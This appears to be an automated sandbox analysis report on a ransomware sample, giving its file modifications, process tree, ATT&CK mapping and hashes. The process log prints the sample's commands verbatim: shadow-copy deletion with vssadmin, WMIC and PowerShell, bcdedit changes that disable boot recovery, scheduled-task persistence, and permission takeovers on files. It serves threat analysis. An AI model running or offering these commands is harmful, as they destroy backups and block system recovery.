(x86)\Microsoft Office\Office14\1033\MAPIR.DLL.IDX_DLL 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Montevideo 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\mosaic_window.html 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0302827.JPG 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\alt-rt.jar 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0188519.WMF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BS00200_.WMF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\bg_LightSpirit.gif 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationLeft_SelectionSubpicture.png 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\META-INF\MANIFEST.MF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-api-annotations-common.xml 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Yekaterinburg 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\DD01772_.WMF 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Slate\#CORE_README#.rtf 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\Origin.xml 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0387578.JPG 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0302953.JPG 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.bindings.nl_ja_4.4.0.v20140623020002.jar 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.alert.zh_CN_5.5.0.165303.jar 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.app_1.0.300.v20140228-1829.jar 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exevssadmin.exepid process 3076 vssadmin.exe 2852 vssadmin.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powershell.execIAicoUd64.exepowershell.exepid process 560 powershell.exe 3380 cIAicoUd64.exe 3380 cIAicoUd64.exe 3380 cIAicoUd64.exe 3316 powershell.exe 3316 powershell.exe 3316 powershell.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
cIAicoUd64.exepid process 3380 cIAicoUd64.exe -
Suspicious use of AdjustPrivilegeToken 47 IoCs
Processes:
powershell.execIAicoUd64.exevssvc.exeWMIC.exepowershell.exedescription pid process Token: SeDebugPrivilege 560 powershell.exe Token: SeDebugPrivilege 3380 cIAicoUd64.exe Token: SeLoadDriverPrivilege 3380 cIAicoUd64.exe Token: SeBackupPrivilege 1232 vssvc.exe Token: SeRestorePrivilege 1232 vssvc.exe Token: SeAuditPrivilege 1232 vssvc.exe Token: SeIncreaseQuotaPrivilege 1632 WMIC.exe Token: SeSecurityPrivilege 1632 WMIC.exe Token: SeTakeOwnershipPrivilege 1632 WMIC.exe Token: SeLoadDriverPrivilege 1632 WMIC.exe Token: SeSystemProfilePrivilege 1632 WMIC.exe Token: SeSystemtimePrivilege 1632 WMIC.exe Token: SeProfSingleProcessPrivilege 1632 WMIC.exe Token: SeIncBasePriorityPrivilege 1632 WMIC.exe Token: SeCreatePagefilePrivilege 1632 WMIC.exe Token: SeBackupPrivilege 1632 WMIC.exe Token: SeRestorePrivilege 1632 WMIC.exe Token: SeShutdownPrivilege 1632 WMIC.exe Token: SeDebugPrivilege 1632 WMIC.exe Token: SeSystemEnvironmentPrivilege 1632 WMIC.exe Token: SeRemoteShutdownPrivilege 1632 WMIC.exe Token: SeUndockPrivilege 1632 WMIC.exe Token: SeManageVolumePrivilege 1632 WMIC.exe Token: 33 1632 WMIC.exe Token: 34 1632 WMIC.exe Token: 35 1632 WMIC.exe Token: SeIncreaseQuotaPrivilege 1632 WMIC.exe Token: SeSecurityPrivilege 1632 WMIC.exe Token: SeTakeOwnershipPrivilege 1632 WMIC.exe Token: SeLoadDriverPrivilege 1632 WMIC.exe Token: SeSystemProfilePrivilege 1632 WMIC.exe Token: SeSystemtimePrivilege 1632 WMIC.exe Token: SeProfSingleProcessPrivilege 1632 WMIC.exe Token: SeIncBasePriorityPrivilege 1632 WMIC.exe Token: SeCreatePagefilePrivilege 1632 WMIC.exe Token: SeBackupPrivilege 1632 WMIC.exe Token: SeRestorePrivilege 1632 WMIC.exe Token: SeShutdownPrivilege 1632 WMIC.exe Token: SeDebugPrivilege 1632 WMIC.exe Token: SeSystemEnvironmentPrivilege 1632 WMIC.exe Token: SeRemoteShutdownPrivilege 1632 WMIC.exe Token: SeUndockPrivilege 1632 WMIC.exe Token: SeManageVolumePrivilege 1632 WMIC.exe Token: 33 1632 WMIC.exe Token: 34 1632 WMIC.exe Token: 35 1632 WMIC.exe Token: SeDebugPrivilege 3316 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.execmd.execmd.execmd.execmd.exewscript.execmd.exedescription pid process target process PID 2184 wrote to memory of 3052 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 2184 wrote to memory of 3052 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 2184 wrote to memory of 3052 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 2184 wrote to memory of 3052 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 2184 wrote to memory of 2700 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe NWp8CEAX.exe PID 2184 wrote to memory of 2700 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe NWp8CEAX.exe PID 2184 wrote to memory of 2700 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe NWp8CEAX.exe PID 2184 wrote to memory of 2700 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe NWp8CEAX.exe PID 2184 wrote to memory of 664 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 2184 wrote to memory of 664 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 2184 wrote to memory of 664 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 2184 wrote to memory of 664 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 664 wrote to memory of 560 664 cmd.exe powershell.exe PID 664 wrote to memory of 560 664 cmd.exe powershell.exe PID 664 wrote to memory of 560 664 cmd.exe powershell.exe PID 664 wrote to memory of 560 664 cmd.exe powershell.exe PID 2184 wrote to memory of 2764 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 2184 wrote to memory of 2764 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 2184 wrote to memory of 2764 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 2184 wrote to memory of 2764 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 2184 wrote to memory of 2484 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 2184 wrote to memory of 2484 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 2184 wrote to memory of 2484 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 2184 wrote to memory of 2484 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 2764 wrote to memory of 784 2764 cmd.exe reg.exe PID 2764 wrote to memory of 784 2764 cmd.exe reg.exe PID 2764 wrote to memory of 784 2764 cmd.exe reg.exe PID 2764 wrote to memory of 784 2764 cmd.exe reg.exe PID 2484 wrote to memory of 2468 2484 cmd.exe wscript.exe PID 2484 wrote to memory of 2468 2484 cmd.exe wscript.exe PID 2484 wrote to memory of 2468 2484 cmd.exe wscript.exe PID 2484 wrote to memory of 2468 2484 cmd.exe wscript.exe PID 2184 wrote to memory of 2264 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 2184 wrote to memory of 2264 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 2184 wrote to memory of 2264 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 2184 wrote to memory of 2264 2184 6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe cmd.exe PID 2764 wrote to memory of 2652 2764 cmd.exe reg.exe PID 2764 wrote to memory of 2652 2764 cmd.exe reg.exe PID 2764 wrote to memory of 2652 2764 cmd.exe reg.exe PID 2764 wrote to memory of 2652 2764 cmd.exe reg.exe PID 2264 wrote to memory of 976 2264 cmd.exe attrib.exe PID 2264 wrote to memory of 976 2264 cmd.exe attrib.exe PID 2264 wrote to memory of 976 2264 cmd.exe attrib.exe PID 2264 wrote to memory of 976 2264 cmd.exe attrib.exe PID 2764 wrote to memory of 3008 2764 cmd.exe reg.exe PID 2764 wrote to memory of 3008 2764 cmd.exe reg.exe PID 2764 wrote to memory of 3008 2764 cmd.exe reg.exe PID 2764 wrote to memory of 3008 2764 cmd.exe reg.exe PID 2264 wrote to memory of 2300 2264 cmd.exe cacls.exe PID 2264 wrote to memory of 2300 2264 cmd.exe cacls.exe PID 2264 wrote to memory of 2300 2264 cmd.exe cacls.exe PID 2264 wrote to memory of 2300 2264 cmd.exe cacls.exe PID 2468 wrote to memory of 2160 2468 wscript.exe cmd.exe PID 2468 wrote to memory of 2160 2468 wscript.exe cmd.exe PID 2468 wrote to memory of 2160 2468 wscript.exe cmd.exe PID 2468 wrote to memory of 2160 2468 wscript.exe cmd.exe PID 2264 wrote to memory of 1788 2264 cmd.exe takeown.exe PID 2264 wrote to memory of 1788 2264 cmd.exe takeown.exe PID 2264 wrote to memory of 1788 2264 cmd.exe takeown.exe PID 2264 wrote to memory of 1788 2264 cmd.exe takeown.exe PID 2160 wrote to memory of 2496 2160 cmd.exe schtasks.exe PID 2160 wrote to memory of 2496 2160 cmd.exe schtasks.exe PID 2160 wrote to memory of 2496 2160 cmd.exe schtasks.exe PID 2160 wrote to memory of 2496 2160 cmd.exe schtasks.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
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Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe"1⤵
- Matrix Ransomware
- Loads dropped DLL
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2184 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWp8CEAX.exe"2⤵PID:3052
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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWp8CEAX.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWp8CEAX.exe" -n2⤵
- Executes dropped EXE
PID:2700
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\Amb2lQhd.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:664 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:560
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\yYAzuyxd.vbs"2⤵
- Suspicious use of WriteProcessMemory
PID:2484 -
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\yYAzuyxd.vbs"3⤵
- Suspicious use of WriteProcessMemory
PID:2468 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\BkJK9MMO.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵
- Suspicious use of WriteProcessMemory
PID:2160 -
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\BkJK9MMO.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Creates scheduled task(s)
PID:2496
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵PID:3656
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C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵PID:2136
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\goa4rOzf.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2764 -
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\goa4rOzf.bmp" /f3⤵
- Sets desktop wallpaper using registry
PID:784
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵PID:2652
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵PID:3008
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\h1JAkYNr.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf""2⤵
- Suspicious use of WriteProcessMemory
PID:2264 -
C:\Windows\SysWOW64\attrib.exeattrib -R -A -S "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf"3⤵
- Views/modifies file attributes
PID:976
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C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf" /E /G Admin:F /C3⤵PID:2300
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C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf"3⤵
- Modifies file permissions
PID:1788
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c cIAicoUd.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner3⤵
- Loads dropped DLL
PID:2440 -
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\cIAicoUd.execIAicoUd.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2784 -
C:\Users\Admin\AppData\Local\Temp\cIAicoUd64.execIAicoUd.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner5⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
PID:3380
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C:\Windows\system32\taskeng.exetaskeng.exe {7392793C-6BFE-42DC-BE69-ECA911E4658B} S-1-5-21-928733405-3780110381-2966456290-1000:VTILVGXH\Admin:Interactive:[1]1⤵PID:3052
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C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\BkJK9MMO.bat"2⤵PID:3184
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C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
PID:3076
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C:\Windows\System32\Wbem\WMIC.exewmic SHADOWCOPY DELETE3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1632
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Exec Unrestricted try {start-process -FilePath "vssadmin" -ArgumentList "delete","shadows","/all","/quiet" -WindowStyle Hidden} catch {}3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3316 -
C:\Windows\system32\vssadmin.exe"C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet4⤵
- Interacts with shadow copies
PID:2852
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2496
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN DSHCA /F3⤵PID:3420
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
PID:2892
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1232
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Defense Evasion
File and Directory Permissions Modification
1Hide Artifacts
1Hidden Files and Directories
1Indicator Removal
2File Deletion
2Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
8KB
MD56fbf6ad4ea5d6e03bc22e928f049a490
SHA11289802177286d07db398199827080ed69f3cfb7
SHA25688830da0b8297443b3deb5e8956497019f6de89dbb42b0c6bdaaa111a727f77d
SHA512ba8d8656165a5327bf5a066785957324b0eb96f28bc3c2c3824c1d8230792143a02d95cee6dff0c819ae2027cd51d01641c8aeb261a726fe4323d65b0c1516bf
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Filesize
14B
MD5c74dacdd9331a6698efffe81ff66ac08
SHA179e8ce4bb5cc2436e95fad4a74a31aee7aa63043
SHA25682ad297f8577dd8f868d0068e253c3d6b61a1e332d7038ed18d23da65b03ad6c
SHA51224620715fb4e07f73db38962b2f95b77396d09a65f153c138f4d873e7f83f9cc72a16423ce2af745f8a04d1e657dfa7d9136ec3fd9ff5794b385ec33edae89da
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Filesize
1.2MB
MD5907636b28d162f7110b067a8178fa38c
SHA1048ae4691fe267e7c8d9eda5361663593747142a
SHA2566e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b
SHA512501a7ee7fc8c0869d3cb57be3a75be02f6a17583e524fae9fa29e149a7391a5ed79c45143c09c667eed7d2fe217503121e23edd6f1bac47c8ba7ec7a4ecbe04a
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Filesize
181KB
MD52f5b509929165fc13ceab9393c3b911d
SHA1b016316132a6a277c5d8a4d7f3d6e2c769984052
SHA2560cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4
SHA512c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8
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Filesize
54KB
MD5e7f188677e8633f67a46c1c89a1dbe72
SHA1b4e2c62ee56a5ac9fb2667b081bc8223d68fb450
SHA256b46aed5cfebfd676433d0197fdbc0c6b6c0ab118ec21676153a4a242ea6b8303
SHA51289ea7d06e341291ef38a98d46337d57283d8f7e7d9cc199e3a3fbfd61a4cc28df823049e75cac26c492f2c2a99b4d46bff56ba9b8dd2e0b2d4b61c899a7226ab
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Filesize
246B
MD52d85adf113db0ac9214aff722a60b6d2
SHA10181fa1a8d3abd5be3f4326e0abad138e9541f58
SHA2569bb51e333f60a076236c2e444549963020b737b09773049cbe738c3251cdd4be
SHA5126100b035460475edcf2e4b9b2b16b013b3898a72af0605764eb672266151a39c8559e7cc04dc0cf445417399e80769dcaa8b43dc264317fa85ac2720922d6f9c
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Filesize
415B
MD596508db6b3b23d103267541d9895aa70
SHA121666fd18ea5ac56f3d5efb11306376ed0e8ab85
SHA256eb5844b4e1122b48776548b85e34e7283c4e226d10e8904f963fa5f2bdb14e5b
SHA512a7f6237bbfc42b5b8304fc3770058380c8624168ded1e5459de099c7c5b1463ba971b6fbcd83f688e6170ce6a949e7200b0b78c5433926a26d48a85e4c195a02
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6NEXW3IM1ARCHDGCVIH8.temp
Filesize7KB
MD55c5575ab5f758dcd5aaf42254630e785
SHA1c151fdae808affcd3100a5df938d3daeebe26b28
SHA25610cacd6037deff03c8afff527d70bae8fb04cb2ea647f354abf0ad93d62a7b43
SHA512e5891b61cb073c7f0cbef10fb9323543e3799450fb243c0b7eba9f7a1518d20000d0dffeaa37519634841fb429c616fc10e1a5c2f5aec006eaa51a72b2606897
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Filesize
260B
MD596c135025ee40d98f537ac76b3a4ca90
SHA1acc32ca642fcf5ac2cccf671a3cc917f5d0c2ecd
SHA25693e7aa86b6164018a888f353c5ddd8c7833bee7bff1d17384c67c89b23851560
SHA5122617d2da935c89905389b26a643a7742e661ae56c7a2e15a4350904033b8a3d30021e1ce57da84e7b2767ffae0c5edfb58ccf37b2491fa415e9416bcb42424a7
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Filesize
221KB
MD53026bc2448763d5a9862d864b97288ff
SHA17d93a18713ece2e7b93e453739ffd7ad0c646e9e
SHA2567adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec
SHA512d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6